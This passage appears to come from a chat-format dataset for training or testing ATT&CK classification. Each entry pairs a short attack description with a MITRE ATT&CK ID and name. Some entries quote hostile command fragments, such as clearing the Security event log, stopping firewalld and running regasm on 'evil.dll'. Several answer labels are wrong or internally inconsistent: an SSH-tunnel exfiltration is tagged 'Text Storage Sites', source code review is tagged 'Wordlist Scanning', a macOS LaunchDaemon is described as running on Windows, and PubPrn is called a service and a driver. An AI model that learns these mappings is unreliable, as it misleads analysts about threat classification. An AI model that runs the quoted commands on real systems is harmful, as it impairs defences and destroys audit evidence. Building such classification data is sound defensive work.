                "content": "A phishing campaign yields user passwords, which are then used to log into the victim's Gmail via IMAP and download all messages."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor bribes an employee at a certificate authority to issue a code‑signing certificate under a fake organization name."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploits a misconfigured Azure AD Connect server to insert malicious synchronization rules that grant elevated privileges to compromised on-prem accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor registers a new Twitter account under a compromised email to spread disinformation and coordinate command-and-control messages."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor writes data to a file using hex encoding, making it less obvious to analysts."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder stages sensitive files in a temporary archive on the infected machine before uploading to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijack an expired domain to exploit its existing backlink profile for malicious redirects."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script calls the SecKeychainFindGenericPassword API to dump saved website credentials on a compromised Mac."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects a malicious child process under a trusted parent and renames it to appear as a legitimate system process, effectively breaking the original process tree to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a rootkit to hook network APIs, allowing it to capture and manipulate traffic while remaining invisible."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to the cloud management console, the attacker terminated the company’s GCP Compute Engine instances to erase evidence of compromise."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employs a technique where commands are hidden inside image metadata and extracted by a loader before execution."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes the \"kubectl apply -f\" command with a malicious manifest to create a privileged pod in the cluster."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deployed a custom transport agent on a compromised mail server to manipulate email routing and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the local Outlook Web Access (OWA) cache files to retrieve email contents."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group used a legitimate remote access trojan disguised as a Windows service to persist."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT group exploited a leaked Kubernetes secret to spin up a new pod acting as a persistent foothold."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain targets a vulnerability in the PDF reader’s JavaScript engine, allowing the attacker to run PowerShell commands on the victim’s computer."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes the IBM Cloud API with stolen credentials to instantiate a new virtual server, preparing for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor altered the Group Policy to push a malicious DLL to all domain-joined machines."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the trusted system binary 'control.exe' to launch a secondary payload from a network share."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor copies database exports to a personal Dropbox Business account via the Dropbox SDK."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a Python script to enumerate running processes and detect security tools."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends targeted emails with a link to a phishing site hosted on an attacker-controlled server to harvest credential data from recipients."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates network adapters and checks the default route to discover the external network interface used for internet traffic."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor runs regasm.exe /nologo /codebase evil.dll to bypass application whitelisting and run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool adds superfluous white‑space and comments to scripts to thwart static analysis."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker executes 'systeminfo' and parses the output to extract the system's uptime and current time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample was observed using raw IP packets to exfiltrate sensitive files without using standard application protocols."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the SMB protocol, the threat actor transferred a PowerShell script to \\\\HOSTNAME\\C$ and ran it remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads raw disk sectors directly to steal encrypted credentials without mounting the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a known vulnerability in a social media platform's API to enumerate user IDs and then perform credential spraying attacks."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed the AWS Config service to retrieve configuration histories of resources for a comprehensive cloud map."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker ran a large-scale network discovery by scanning all IP addresses in the 192.0.2.0/24 range."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal exploits the PubPrn service to proxy malicious JavaScript, allowing remote code execution without triggering antivirus alerts."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware's command and control domain is resolved to dozens of IPs that shift every few minutes, characteristic of fast‑flux DNS."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor crafted a spreadsheet that, upon opening, exploited DDE to launch a command prompt with elevated privileges and download additional tools."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the MMC executable, the attacker proxies execution of a credential‑dumping tool hidden within a malicious .msc payload."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary employs a DGA that incorporates the current timestamp to produce unique domain names for each infection."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool saves database connection strings in the Registry under HKLM\\Software\\Config\\DBCreds."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat sets up an IPsec VPN tunnel to continuously encrypt data flow between compromised hosts and a command server."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary copies malicious scripts onto a USB flash drive and later plugs it into the target system to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Linux rootkit is employed to hide files in /proc and /sys directories."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script copies files to a remote NFS share before compressing and sending them over an SSH tunnel."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a large-scale ICMP flood, sending high-rate ping packets directly to the victim’s IP address, degrading network performance."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a launch agent in the user's LaunchAgents directory to execute a backdoor at each user session start."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script dumps Kerberos tickets stored on a compromised host and forges new tickets to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Performs in‑memory patching of a security agent to mute its alerts, changing internal flags while the agent is active."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor adds a LaunchDaemon entry that triggers a PowerShell script to run with SYSTEM privileges on Windows via service creation."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the Windows PubPrn service to proxy malicious scripts, allowing execution of arbitrary code on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up an automated script that periodically initiates SSH connections to maintain a foothold on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data exfiltration is performed by encoding sensitive files into the color channels of a series of BMP images uploaded to a public image board."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a buffer overflow in a privileged Windows service to execute arbitrary code as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom Bash payload, the threat actor retrieved the contents of /etc/shadow and /etc/passwd to harvest local user accounts."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group compromised an Office 365 application and pulled stored passwords from Microsoft Azure Key Vault."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scans publicly available certificate databases to extract certificate details for further credential theft."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a batch file that runs \"sc config \" and \"sc stop \" on the \"LanmanServer\" service to disrupt file sharing."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a scheduled task that runs 'systemctl stop firewalld' on compromised servers, disabling the firewall service."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a payload to the PubPrn driver, which then executes the script with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs network scanning to discover all live IP addresses on the victim's LAN."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Mimikatz sekurlsa::ntds command to pull credential information from the NTDS.dit file."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party framework includes a malicious .dylib that is loaded by the victim application, allowing the attacker to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries retrieve the password database by reading /etc/passwd and /etc/shadow files."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set up a covert channel using steganography in image files over a public FTP server, then later switch to a covert MQTT broker for real‑time control."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors clone an internal Git repository after dumping SSH private keys from a compromised developer workstation."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a PowerShell command to delete indicator files and hide their tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To evade analysis, the malware checks the MAC address of the network adapter for prefixes associated with virtual NICs (e.g., 00:05:69, 00:0C:29)."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script executed \"Clear-EventLog -LogName Security\" via PowerShell to wipe the Security log on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exploits a memory corruption issue in an authentication service to steal API keys."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary replaces the default index.php file on a compromised server with a defaced version."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider exfiltrated a private key linked to a corporate code-signing certificate to sign backdoor binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stages data by uploading it to a compromised internal web server's upload endpoint before moving it to an external site."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses an SQL injection attack to manipulate databases and extract sensitive information, such as login credentials or personal data."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By repeatedly invoking a poorly optimized function, the attacker forces the endpoint’s application to consume all available memory and halt operations."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Identifying potential vulnerabilities in an application through source code reviews and static analysis."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised Gmail account to send targeted URLs to specific employees, exploiting trust in the email service."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
